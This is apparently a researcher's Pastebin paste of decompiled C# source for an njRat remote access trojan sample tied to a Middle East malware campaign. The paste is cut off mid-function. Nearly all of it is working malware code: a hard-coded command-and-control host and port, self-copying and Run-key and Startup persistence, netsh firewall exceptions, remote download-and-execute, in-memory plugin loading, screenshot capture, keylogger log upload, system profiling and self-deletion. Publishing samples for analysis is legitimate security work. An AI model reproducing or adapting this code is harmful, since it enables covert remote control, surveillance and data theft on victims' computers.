waliedassar

Cyber Attack 6 njRat Source Code

Apr 18th, 2015
744
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 44.44 KB | None | 0 0
  1. 'Source code of the njRat sample from Cyber Attack 6
  2. 'Link: http://middleeastmalware.blogspot.com/2015/04/cyber-attack-6.html
  3.  
  4. // Type: j.OK
  5. // Assembly: j, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
  6. // MVID: 073EFFA8-2DE2-44C8-B6BD-ED1675EC28D2
  7. // Assembly location: C:\Users\walied\Desktop\Dahlan1\Dav\Binary_Analysis\Account Info\Next_RunPE\DecodedBase64 (7).exe
  8.  
  9. using Microsoft.VisualBasic;
  10. using Microsoft.VisualBasic.CompilerServices;
  11. using Microsoft.VisualBasic.Devices;
  12. using Microsoft.Win32;
  13. using System;
  14. using System.Diagnostics;
  15. using System.Drawing;
  16. using System.Drawing.Imaging;
  17. using System.IO;
  18. using System.IO.Compression;
  19. using System.Net;
  20. using System.Net.Sockets;
  21. using System.Reflection;
  22. using System.Runtime.CompilerServices;
  23. using System.Runtime.InteropServices;
  24. using System.Security.Cryptography;
  25. using System.Text;
  26. using System.Threading;
  27. using System.Windows.Forms;
  28.  
  29. namespace j
  30. {
  31.   [StandardModule]
  32.   internal sealed class OK
  33.   {
  34.     public static string VN = "U0FNQUhYWA==";
  35.     public static string VR = "0.7d";
  36.     public static object MT = (object) null;
  37.     public static string EXE = "calc.exe";
  38.     public static string DR = "TEMP";
  39.     public static string RG = "d0f36270adec45a92233a0e055d2d4fa";
  40.     public static string H = "www.samah.linkpc.net";
  41.     public static string P = "5553";
  42.     public static string Y = "|'|'|";
  43.     public static bool BD = Conversions.ToBoolean("False");
  44.     public static bool Idr = Conversions.ToBoolean("True");
  45.     public static bool IsF = Conversions.ToBoolean("True");
  46.     public static bool Isu = Conversions.ToBoolean("False");
  47.     public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
  48.     public static Computer F = new Computer();
  49.     public static kl kq = (kl) null;
  50.     public static bool Cn = false;
  51.     public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  52.     public static TcpClient C = (TcpClient) null;
  53.     private static MemoryStream MeM = new MemoryStream();
  54.     private static byte[] b = new byte[5121];
  55.     private static string lastcap = "";
  56.     public static object PLG = (object) null;
  57.     public static FileStream FS;
  58.  
  59.     static OK()
  60.     {
  61.     }
  62.  
  63.     [DllImport("ntdll")]
  64.     private static int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
  65.  
  66.     [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  67.     public static bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);
  68.  
  69.     [DllImport("kernel32", EntryPoint = "GetVolumeInformationA", CharSet = CharSet.Ansi, SetLastError = true)]
  70.     private static int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);
  71.  
  72.     [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  73.     public static IntPtr GetForegroundWindow();
  74.  
  75.     [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
  76.     public static int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
  77.  
  78.     [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
  79.     public static int GetWindowTextLength(long hwnd);
  80.  
  81.     public static void DLV(string n)
  82.     {
  83.       try
  84.       {
  85.         OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG, true).DeleteValue(n);
  86.       }
  87.       catch (Exception ex)
  88.       {
  89.         ProjectData.SetProjectError(ex);
  90.         ProjectData.ClearProjectError();
  91.       }
  92.     }
  93.  
  94.     public static object GTV(string n, object ret)
  95.     {
  96.       object obj;
  97.       try
  98.       {
  99.         obj = OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG).GetValue(n, RuntimeHelpers.GetObjectValue(ret));
  100.       }
  101.       catch (Exception ex)
  102.       {
  103.         ProjectData.SetProjectError(ex);
  104.         obj = ret;
  105.         ProjectData.ClearProjectError();
  106.       }
  107.       return obj;
  108.     }
  109.  
  110.     public static bool STV(string n, object t, RegistryValueKind typ)
  111.     {
  112.       bool flag;
  113.       try
  114.       {
  115.         OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG).SetValue(n, RuntimeHelpers.GetObjectValue(t), typ);
  116.         flag = true;
  117.       }
  118.       catch (Exception ex)
  119.       {
  120.         ProjectData.SetProjectError(ex);
  121.         flag = false;
  122.         ProjectData.ClearProjectError();
  123.       }
  124.       return flag;
  125.     }
  126.  
  127.     public static string inf()
  128.     {
  129.       string str1 = "ll" + OK.Y;
  130.       string str2;
  131.       try
  132.       {
  133.         if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", (object) ""), (object) "", false))
  134.         {
  135.           string str3 = str1;
  136.           string s = OK.DEB(ref OK.VN) + "_" + OK.HWD();
  137.           string str4 = OK.ENB(ref s);
  138.           string str5 = OK.Y;
  139.           str2 = str3 + str4 + str5;
  140.         }
  141.         else
  142.         {
  143.           string str3 = str1;
  144.           string s1 = Conversions.ToString(OK.GTV("vn", (object) ""));
  145.           string s2 = OK.DEB(ref s1) + "_" + OK.HWD();
  146.           string str4 = OK.ENB(ref s2);
  147.           string str5 = OK.Y;
  148.           str2 = str3 + str4 + str5;
  149.         }
  150.       }
  151.       catch (Exception ex)
  152.       {
  153.         ProjectData.SetProjectError(ex);
  154.         string str3 = str1;
  155.         string s = OK.HWD();
  156.         string str4 = OK.ENB(ref s);
  157.         string str5 = OK.Y;
  158.         str2 = str3 + str4 + str5;
  159.         ProjectData.ClearProjectError();
  160.       }
  161.       string str6;
  162.       try
  163.       {
  164.         str6 = str2 + Environment.MachineName + OK.Y;
  165.       }
  166.       catch (Exception ex)
  167.       {
  168.         ProjectData.SetProjectError(ex);
  169.         str6 = str2 + "??" + OK.Y;
  170.         ProjectData.ClearProjectError();
  171.       }
  172.       string str7;
  173.       try
  174.       {
  175.         str7 = str6 + Environment.UserName + OK.Y;
  176.       }
  177.       catch (Exception ex)
  178.       {
  179.         ProjectData.SetProjectError(ex);
  180.         str7 = str6 + "??" + OK.Y;
  181.         ProjectData.ClearProjectError();
  182.       }
  183.       string str8;
  184.       try
  185.       {
  186.         str8 = str7 + OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
  187.       }
  188.       catch (Exception ex)
  189.       {
  190.         ProjectData.SetProjectError(ex);
  191.         str8 = str7 + "??-??-??" + OK.Y;
  192.         ProjectData.ClearProjectError();
  193.       }
  194.       string str9 = str8 + "" + OK.Y;
  195.       string str10;
  196.       try
  197.       {
  198.         str10 = str9 + OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace("  ", " ").Replace(" Win", "Win");
  199.       }
  200.       catch (Exception ex)
  201.       {
  202.         ProjectData.SetProjectError(ex);
  203.         str10 = str9 + "??";
  204.         ProjectData.ClearProjectError();
  205.       }
  206.       string str11 = str10 + "SP";
  207.       string str12;
  208.       try
  209.       {
  210.         string[] strArray = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
  211.         if (strArray.Length == 1)
  212.           str11 = str11 + "0";
  213.         str12 = str11 + strArray[checked (strArray.Length - 1)];
  214.       }
  215.       catch (Exception ex)
  216.       {
  217.         ProjectData.SetProjectError(ex);
  218.         str12 = str11 + "0";
  219.         ProjectData.ClearProjectError();
  220.       }
  221.       string str13;
  222.       try
  223.       {
  224.         str13 = !Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86") ? str12 + " x86" + OK.Y : str12 + " x64" + OK.Y;
  225.       }
  226.       catch (Exception ex)
  227.       {
  228.         ProjectData.SetProjectError(ex);
  229.         str13 = str12 + OK.Y;
  230.         ProjectData.ClearProjectError();
  231.       }
  232.       string str14 = (!OK.Cam() ? str13 + "No" + OK.Y : str13 + "Yes" + OK.Y) + OK.VR + OK.Y + ".." + OK.Y + OK.ACT() + OK.Y;
  233.       string str15 = "";
  234.       try
  235.       {
  236.         string[] valueNames = OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames();
  237.         int index = 0;
  238.         while (index < valueNames.Length)
  239.         {
  240.           string str3 = valueNames[index];
  241.           if (str3.Length == 32)
  242.             str15 = str15 + str3 + ",";
  243.           checked { ++index; }
  244.         }
  245.       }
  246.       catch (Exception ex)
  247.       {
  248.         ProjectData.SetProjectError(ex);
  249.         ProjectData.ClearProjectError();
  250.       }
  251.       return str14 + str15;
  252.     }
  253.  
  254.     public static string ENB(ref string s)
  255.     {
  256.       return Convert.ToBase64String(OK.SB(ref s));
  257.     }
  258.  
  259.     public static string DEB(ref string s)
  260.     {
  261.       byte[] B = Convert.FromBase64String(s);
  262.       return OK.BS(ref B);
  263.     }
  264.  
  265.     public static byte[] SB(ref string S)
  266.     {
  267.       return Encoding.UTF8.GetBytes(S);
  268.     }
  269.  
  270.     public static string BS(ref byte[] B)
  271.     {
  272.       return Encoding.UTF8.GetString(B);
  273.     }
  274.  
  275.     public static byte[] ZIP(byte[] B)
  276.     {
  277.       MemoryStream memoryStream = new MemoryStream(B);
  278.       GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
  279.       byte[] buffer = new byte[4];
  280.       memoryStream.Position = checked (memoryStream.Length - 5L);
  281.       memoryStream.Read(buffer, 0, 4);
  282.       int count = BitConverter.ToInt32(buffer, 0);
  283.       memoryStream.Position = 0L;
  284.       byte[] array = new byte[checked (count - 1 + 1)];
  285.       gzipStream.Read(array, 0, count);
  286.       gzipStream.Dispose();
  287.       memoryStream.Dispose();
  288.       return array;
  289.     }
  290.  
  291.     public static bool Cam()
  292.     {
  293.       try
  294.       {
  295.         int num1 = 0;
  296.         do
  297.         {
  298.           int num2 = (int) checked ((short) num1);
  299.           string str1 = Strings.Space(100);
  300.           // ISSUE: explicit reference operation
  301.           // ISSUE: variable of a reference type
  302.           string& lpszName = @str1;
  303.           int cbName = 100;
  304.           string str2 = (string) null;
  305.           // ISSUE: explicit reference operation
  306.           // ISSUE: variable of a reference type
  307.           string& lpszVer = @str2;
  308.           int cbVer = 100;
  309.           if (OK.capGetDriverDescriptionA((short) num2, lpszName, cbName, lpszVer, cbVer))
  310.             return true;
  311.           checked { ++num1; }
  312.         }
  313.         while (num1 <= 4);
  314.       }
  315.       catch (Exception ex)
  316.       {
  317.         ProjectData.SetProjectError(ex);
  318.         ProjectData.ClearProjectError();
  319.       }
  320.       return false;
  321.     }
  322.  
  323.     public static string ACT()
  324.     {
  325.       string str1;
  326.       try
  327.       {
  328.         IntPtr foregroundWindow = OK.GetForegroundWindow();
  329.         if (foregroundWindow == IntPtr.Zero)
  330.         {
  331.           str1 = "";
  332.         }
  333.         else
  334.         {
  335.           string str2 = Strings.Space(checked (OK.GetWindowTextLength((long) foregroundWindow) + 1));
  336.           OK.GetWindowText(foregroundWindow, ref str2, str2.Length);
  337.           str1 = OK.ENB(ref str2);
  338.         }
  339.       }
  340.       catch (Exception ex)
  341.       {
  342.         ProjectData.SetProjectError(ex);
  343.         str1 = "";
  344.         ProjectData.ClearProjectError();
  345.       }
  346.       return str1;
  347.     }
  348.  
  349.     public static string HWD()
  350.     {
  351.       string str1;
  352.       try
  353.       {
  354.         string str2 = Interaction.Environ("SystemDrive") + "\\";
  355.         // ISSUE: explicit reference operation
  356.         // ISSUE: variable of a reference type
  357.         string& lpRootPathName = @str2;
  358.         string str3 = (string) null;
  359.         // ISSUE: explicit reference operation
  360.         // ISSUE: variable of a reference type
  361.         string& lpVolumeNameBuffer = @str3;
  362.         int nVolumeNameSize = 0;
  363.         int Number;
  364.         // ISSUE: explicit reference operation
  365.         // ISSUE: variable of a reference type
  366.         int& lpVolumeSerialNumber = @Number;
  367.         int num1 = 0;
  368.         // ISSUE: explicit reference operation
  369.         // ISSUE: variable of a reference type
  370.         int& lpMaximumComponentLength = @num1;
  371.         int num2 = 0;
  372.         // ISSUE: explicit reference operation
  373.         // ISSUE: variable of a reference type
  374.         int& lpFileSystemFlags = @num2;
  375.         string str4 = (string) null;
  376.         // ISSUE: explicit reference operation
  377.         // ISSUE: variable of a reference type
  378.         string& lpFileSystemNameBuffer = @str4;
  379.         int nFileSystemNameSize = 0;
  380.         OK.GetVolumeInformation(lpRootPathName, lpVolumeNameBuffer, nVolumeNameSize, lpVolumeSerialNumber, lpMaximumComponentLength, lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize);
  381.         str1 = Conversion.Hex(Number);
  382.       }
  383.       catch (Exception ex)
  384.       {
  385.         ProjectData.SetProjectError(ex);
  386.         str1 = "ERR";
  387.         ProjectData.ClearProjectError();
  388.       }
  389.       return str1;
  390.     }
  391.  
  392.     public static object Plugin(byte[] b, string c)
  393.     {
  394.       Module[] modules = Assembly.Load(b).GetModules();
  395.       int index1 = 0;
  396.       while (index1 < modules.Length)
  397.       {
  398.         Module module = modules[index1];
  399.         System.Type[] types = module.GetTypes();
  400.         int index2 = 0;
  401.         while (index2 < types.Length)
  402.         {
  403.           System.Type type = types[index2];
  404.           if (type.FullName.EndsWith("." + c))
  405.             return module.Assembly.CreateInstance(type.FullName);
  406.           checked { ++index2; }
  407.         }
  408.         checked { ++index1; }
  409.       }
  410.       return (object) null;
  411.     }
  412.  
  413.     public static void ED()
  414.     {
  415.       OK.pr(0);
  416.     }
  417.  
  418.     private static bool CompDir(FileInfo F1, FileInfo F2)
  419.     {
  420.       if (Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), false) != 0)
  421.         return false;
  422.       DirectoryInfo directoryInfo1 = F1.Directory;
  423.       DirectoryInfo directoryInfo2 = F2.Directory;
  424.       while (Operators.CompareString(directoryInfo1.Name.ToLower(), directoryInfo2.Name.ToLower(), false) == 0)
  425.       {
  426.         directoryInfo1 = directoryInfo1.Parent;
  427.         directoryInfo2 = directoryInfo2.Parent;
  428.         if (directoryInfo1 == null & directoryInfo2 == null)
  429.           return true;
  430.         if (directoryInfo1 == null || directoryInfo2 == null)
  431.           return false;
  432.       }
  433.       return false;
  434.     }
  435.  
  436.     public static void UNS()
  437.     {
  438.       OK.pr(0);
  439.       OK.Isu = false;
  440.       try
  441.       {
  442.         OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
  443.       }
  444.       catch (Exception ex)
  445.       {
  446.         ProjectData.SetProjectError(ex);
  447.         ProjectData.ClearProjectError();
  448.       }
  449.       try
  450.       {
  451.         OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
  452.       }
  453.       catch (Exception ex)
  454.       {
  455.         ProjectData.SetProjectError(ex);
  456.         ProjectData.ClearProjectError();
  457.       }
  458.       try
  459.       {
  460.         Interaction.Shell("netsh firewall delete allowedprogram \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
  461.       }
  462.       catch (Exception ex)
  463.       {
  464.         ProjectData.SetProjectError(ex);
  465.         ProjectData.ClearProjectError();
  466.       }
  467.       try
  468.       {
  469.         if (OK.FS != null)
  470.         {
  471.           OK.FS.Dispose();
  472.           System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe");
  473.         }
  474.       }
  475.       catch (Exception ex)
  476.       {
  477.         ProjectData.SetProjectError(ex);
  478.         ProjectData.ClearProjectError();
  479.       }
  480.       try
  481.       {
  482.         OK.F.Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(OK.RG, false);
  483.       }
  484.       catch (Exception ex)
  485.       {
  486.         ProjectData.SetProjectError(ex);
  487.         ProjectData.ClearProjectError();
  488.       }
  489.       try
  490.       {
  491.         Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
  492.       }
  493.       catch (Exception ex)
  494.       {
  495.         ProjectData.SetProjectError(ex);
  496.         ProjectData.ClearProjectError();
  497.       }
  498.       ProjectData.EndApp();
  499.     }
  500.  
  501.     public static void INS()
  502.     {
  503.       Thread.Sleep(1000);
  504.       if (OK.Idr)
  505.       {
  506.         if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower())))
  507.         {
  508.           try
  509.           {
  510.             if (System.IO.File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE))
  511.               System.IO.File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
  512.             FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\\" + OK.EXE, FileMode.CreateNew);
  513.             byte[] array = System.IO.File.ReadAllBytes(OK.LO.FullName);
  514.             fileStream.Write(array, 0, array.Length);
  515.             fileStream.Flush();
  516.             fileStream.Close();
  517.             OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
  518.             Process.Start(OK.LO.FullName);
  519.             ProjectData.EndApp();
  520.           }
  521.           catch (Exception ex)
  522.           {
  523.             ProjectData.SetProjectError(ex);
  524.             ProjectData.EndApp();
  525.             ProjectData.ClearProjectError();
  526.           }
  527.         }
  528.       }
  529.       try
  530.       {
  531.         Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
  532.       }
  533.       catch (Exception ex)
  534.       {
  535.         ProjectData.SetProjectError(ex);
  536.         ProjectData.ClearProjectError();
  537.       }
  538.       try
  539.       {
  540.         Interaction.Shell("netsh firewall add allowedprogram \"" + OK.LO.FullName + "\" \"" + OK.LO.Name + "\" ENABLE", AppWinStyle.Hide, true, 5000);
  541.       }
  542.       catch (Exception ex)
  543.       {
  544.         ProjectData.SetProjectError(ex);
  545.         ProjectData.ClearProjectError();
  546.       }
  547.       if (OK.Isu)
  548.       {
  549.         try
  550.         {
  551.           OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
  552.         }
  553.         catch (Exception ex)
  554.         {
  555.           ProjectData.SetProjectError(ex);
  556.           ProjectData.ClearProjectError();
  557.         }
  558.         try
  559.         {
  560.           OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
  561.         }
  562.         catch (Exception ex)
  563.         {
  564.           ProjectData.SetProjectError(ex);
  565.           ProjectData.ClearProjectError();
  566.         }
  567.       }
  568.       if (!OK.IsF)
  569.         return;
  570.       try
  571.       {
  572.         System.IO.File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", true);
  573.         OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", FileMode.Open);
  574.       }
  575.       catch (Exception ex)
  576.       {
  577.         ProjectData.SetProjectError(ex);
  578.         ProjectData.ClearProjectError();
  579.       }
  580.     }
  581.  
  582.     public static void Ind(byte[] b)
  583.     {
  584.       string[] strArray1 = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);
  585.       try
  586.       {
  587.         string Left1 = strArray1[0];
  588.         if (Operators.CompareString(Left1, "ll", false) == 0)
  589.           OK.Cn = false;
  590.         else if (Operators.CompareString(Left1, "kl", false) == 0)
  591.           OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));
  592.         else if (Operators.CompareString(Left1, "prof", false) == 0)
  593.         {
  594.           string Left2 = strArray1[1];
  595.           if (Operators.CompareString(Left2, "~", false) == 0)
  596.             OK.STV(strArray1[2], (object) strArray1[3], RegistryValueKind.String);
  597.           else if (Operators.CompareString(Left2, "!", false) == 0)
  598.           {
  599.             OK.STV(strArray1[2], (object) strArray1[3], RegistryValueKind.String);
  600.             OK.Send(Conversions.ToString(Operators.ConcatenateObject((object) ("getvalue" + OK.Y + strArray1[1] + OK.Y), OK.GTV(strArray1[1], (object) ""))));
  601.           }
  602.           else
  603.           {
  604.             if (Operators.CompareString(Left2, "@", false) != 0)
  605.               return;
  606.             OK.DLV(strArray1[2]);
  607.           }
  608.         }
  609.         else if (Operators.CompareString(Left1, "rn", false) == 0)
  610.         {
  611.           byte[] bytes;
  612.           if ((int) strArray1[2][0] == 31)
  613.           {
  614.             try
  615.             {
  616.               MemoryStream memoryStream = new MemoryStream();
  617.               int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y).Length;
  618.               memoryStream.Write(b, length, checked (b.Length - length));
  619.               bytes = OK.ZIP(memoryStream.ToArray());
  620.             }
  621.             catch (Exception ex)
  622.             {
  623.               ProjectData.SetProjectError(ex);
  624.               OK.Send("MSG" + OK.Y + "Execute ERROR");
  625.               OK.Send("bla");
  626.               ProjectData.ClearProjectError();
  627.               return;
  628.             }
  629.           }
  630.           else
  631.           {
  632.             WebClient webClient = new WebClient();
  633.             try
  634.             {
  635.               bytes = webClient.DownloadData(strArray1[2]);
  636.             }
  637.             catch (Exception ex)
  638.             {
  639.               ProjectData.SetProjectError(ex);
  640.               OK.Send("MSG" + OK.Y + "Download ERROR");
  641.               OK.Send("bla");
  642.               ProjectData.ClearProjectError();
  643.               return;
  644.             }
  645.           }
  646.           OK.Send("bla");
  647.           string str = Path.GetTempFileName() + "." + strArray1[1];
  648.           try
  649.           {
  650.             System.IO.File.WriteAllBytes(str, bytes);
  651.             Process.Start(str);
  652.             OK.Send("MSG" + OK.Y + "Executed As " + new FileInfo(str).Name);
  653.           }
  654.           catch (Exception ex)
  655.           {
  656.             ProjectData.SetProjectError(ex);
  657.             Exception exception = ex;
  658.             OK.Send("MSG" + OK.Y + "Execute ERROR " + exception.Message);
  659.             ProjectData.ClearProjectError();
  660.           }
  661.         }
  662.         else if (Operators.CompareString(Left1, "inv", false) == 0)
  663.         {
  664.           byte[] b1 = (byte[]) OK.GTV(strArray1[1], (object) new byte[0]);
  665.           if (strArray1[3].Length < 10 & b1.Length == 0)
  666.           {
  667.             OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(1));
  668.           }
  669.           else
  670.           {
  671.             if (strArray1[3].Length > 10)
  672.             {
  673.               MemoryStream memoryStream = new MemoryStream();
  674.               int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y + strArray1[2] + OK.Y).Length;
  675.               memoryStream.Write(b, length, checked (b.Length - length));
  676.               b1 = OK.ZIP(memoryStream.ToArray());
  677.               OK.STV(strArray1[1], (object) b1, RegistryValueKind.Binary);
  678.             }
  679.             OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(0));
  680.             object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(b1, "A"));
  681.             NewLateBinding.LateSet(objectValue, (System.Type) null, "h", new object[1]
  682.             {
  683.               (object) OK.H
  684.             }, (string[]) null, (System.Type[]) null);
  685.             NewLateBinding.LateSet(objectValue, (System.Type) null, "p", new object[1]
  686.             {
  687.               (object) OK.P
  688.             }, (string[]) null, (System.Type[]) null);
  689.             NewLateBinding.LateSet(objectValue, (System.Type) null, "osk", new object[1]
  690.             {
  691.               (object) strArray1[2]
  692.             }, (string[]) null, (System.Type[]) null);
  693.             NewLateBinding.LateCall(objectValue, (System.Type) null, "start", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
  694.             while (!Conversions.ToBoolean(Operators.OrObject((object) (bool) (!OK.Cn ? 1 : 0), Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, (System.Type) null, "Off", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) true, false))))
  695.               Thread.Sleep(1);
  696.             NewLateBinding.LateSet(objectValue, (System.Type) null, "off", new object[1]
  697.             {
  698.               (object) true
  699.             }, (string[]) null, (System.Type[]) null);
  700.           }
  701.         }
  702.         else if (Operators.CompareString(Left1, "ret", false) == 0)
  703.         {
  704.           byte[] b1 = (byte[]) OK.GTV(strArray1[1], (object) new byte[0]);
  705.           if (strArray1[2].Length < 10 & b1.Length == 0)
  706.           {
  707.             OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(1));
  708.           }
  709.           else
  710.           {
  711.             if (strArray1[2].Length > 10)
  712.             {
  713.               MemoryStream memoryStream = new MemoryStream();
  714.               int length = (strArray1[0] + OK.Y + strArray1[1] + OK.Y).Length;
  715.               memoryStream.Write(b, length, checked (b.Length - length));
  716.               b1 = OK.ZIP(memoryStream.ToArray());
  717.               OK.STV(strArray1[1], (object) b1, RegistryValueKind.Binary);
  718.             }
  719.             OK.Send("pl" + OK.Y + strArray1[1] + OK.Y + Conversions.ToString(0));
  720.             object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(b1, "A"));
  721.             string[] strArray2 = new string[5]
  722.             {
  723.               "ret",
  724.               OK.Y,
  725.               strArray1[1],
  726.               OK.Y,
  727.               null
  728.             };
  729.             string[] strArray3 = strArray2;
  730.             int index = 4;
  731.             string s = Conversions.ToString(NewLateBinding.LateGet(objectValue, (System.Type) null, "GT", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null));
  732.             string str = OK.ENB(ref s);
  733.             strArray3[index] = str;
  734.             OK.Send(string.Concat(strArray2));
  735.           }
  736.         }
  737.         else if (Operators.CompareString(Left1, "CAP", false) == 0)
  738.         {
  739.           int width = Screen.PrimaryScreen.Bounds.Width;
  740.           Rectangle bounds = Screen.PrimaryScreen.Bounds;
  741.           int height = bounds.Height;
  742.           int num1 = 135173;
  743.           Bitmap bitmap1 = new Bitmap(width, height, (PixelFormat) num1);
  744.           Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
  745.           Graphics graphics2 = graphics1;
  746.           int sourceX = 0;
  747.           int sourceY = 0;
  748.           int destinationX = 0;
  749.           int destinationY = 0;
  750.           Size size1 = new Size(bitmap1.Width, bitmap1.Height);
  751.           Size blockRegionSize = size1;
  752.           int num2 = 13369376;
  753.           graphics2.CopyFromScreen(sourceX, sourceY, destinationX, destinationY, blockRegionSize, (CopyPixelOperation) num2);
  754.           try
  755.           {
  756.             Cursor @default = Cursors.Default;
  757.             Graphics g = graphics1;
  758.             // ISSUE: explicit reference operation
  759.             // ISSUE: variable of a reference type
  760.             Rectangle& local = @bounds;
  761.             Point position = Cursor.Position;
  762.             size1 = new Size(32, 32);
  763.             Size size2 = size1;
  764.             // ISSUE: explicit reference operation
  765.             ^local = new Rectangle(position, size2);
  766.             Rectangle targetRect = bounds;
  767.             @default.Draw(g, targetRect);
  768.           }
  769.           catch (Exception ex)
  770.           {
  771.             ProjectData.SetProjectError(ex);
  772.             ProjectData.ClearProjectError();
  773.           }
  774.           graphics1.Dispose();
  775.           Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(strArray1[1]), Conversions.ToInteger(strArray1[2]));
  776.           Graphics graphics3 = Graphics.FromImage((Image) bitmap2);
  777.           graphics3.DrawImage((Image) bitmap1, 0, 0, bitmap2.Width, bitmap2.Height);
  778.           graphics3.Dispose();
  779.           MemoryStream memoryStream1 = new MemoryStream();
  780.           string S = "CAP" + OK.Y;
  781.           b = OK.SB(ref S);
  782.           memoryStream1.Write(b, 0, b.Length);
  783.           MemoryStream memoryStream2 = new MemoryStream();
  784.           bitmap2.Save((Stream) memoryStream2, ImageFormat.Jpeg);
  785.           string Left2 = OK.md5(memoryStream2.ToArray());
  786.           if (Operators.CompareString(Left2, OK.lastcap, false) != 0)
  787.           {
  788.             OK.lastcap = Left2;
  789.             memoryStream1.Write(memoryStream2.ToArray(), 0, checked ((int) memoryStream2.Length));
  790.           }
  791.           else
  792.             memoryStream1.WriteByte((byte) 0);
  793.           OK.Sendb(memoryStream1.ToArray());
  794.           memoryStream1.Dispose();
  795.           memoryStream2.Dispose();
  796.           bitmap1.Dispose();
  797.           bitmap2.Dispose();
  798.         }
  799.         else if (Operators.CompareString(Left1, "un", false) == 0)
  800.         {
  801.           string Left2 = strArray1[1];
  802.           if (Operators.CompareString(Left2, "~", false) == 0)
  803.             OK.UNS();
  804.           else if (Operators.CompareString(Left2, "!", false) == 0)
  805.           {
  806.             OK.pr(0);
  807.             ProjectData.EndApp();
  808.           }
  809.           else
  810.           {
  811.             if (Operators.CompareString(Left2, "@", false) != 0)
  812.               return;
  813.             OK.pr(0);
  814.             Process.Start(OK.LO.FullName);
  815.             ProjectData.EndApp();
  816.           }
  817.         }
  818.         else if (Operators.CompareString(Left1, "up", false) == 0)
  819.         {
  820.           byte[] bytes;
  821.           if ((int) strArray1[1][0] == 31)
  822.           {
  823.             try
  824.             {
  825.               MemoryStream memoryStream = new MemoryStream();
  826.               int length = (strArray1[0] + OK.Y).Length;
  827.               memoryStream.Write(b, length, checked (b.Length - length));
  828.               bytes = OK.ZIP(memoryStream.ToArray());
  829.             }
  830.             catch (Exception ex)
  831.             {
  832.               ProjectData.SetProjectError(ex);
  833.               OK.Send("MSG" + OK.Y + "Update ERROR");
  834.               OK.Send("bla");
  835.               ProjectData.ClearProjectError();
  836.               return;
  837.             }
  838.           }
  839.           else
  840.           {
  841.             WebClient webClient = new WebClient();
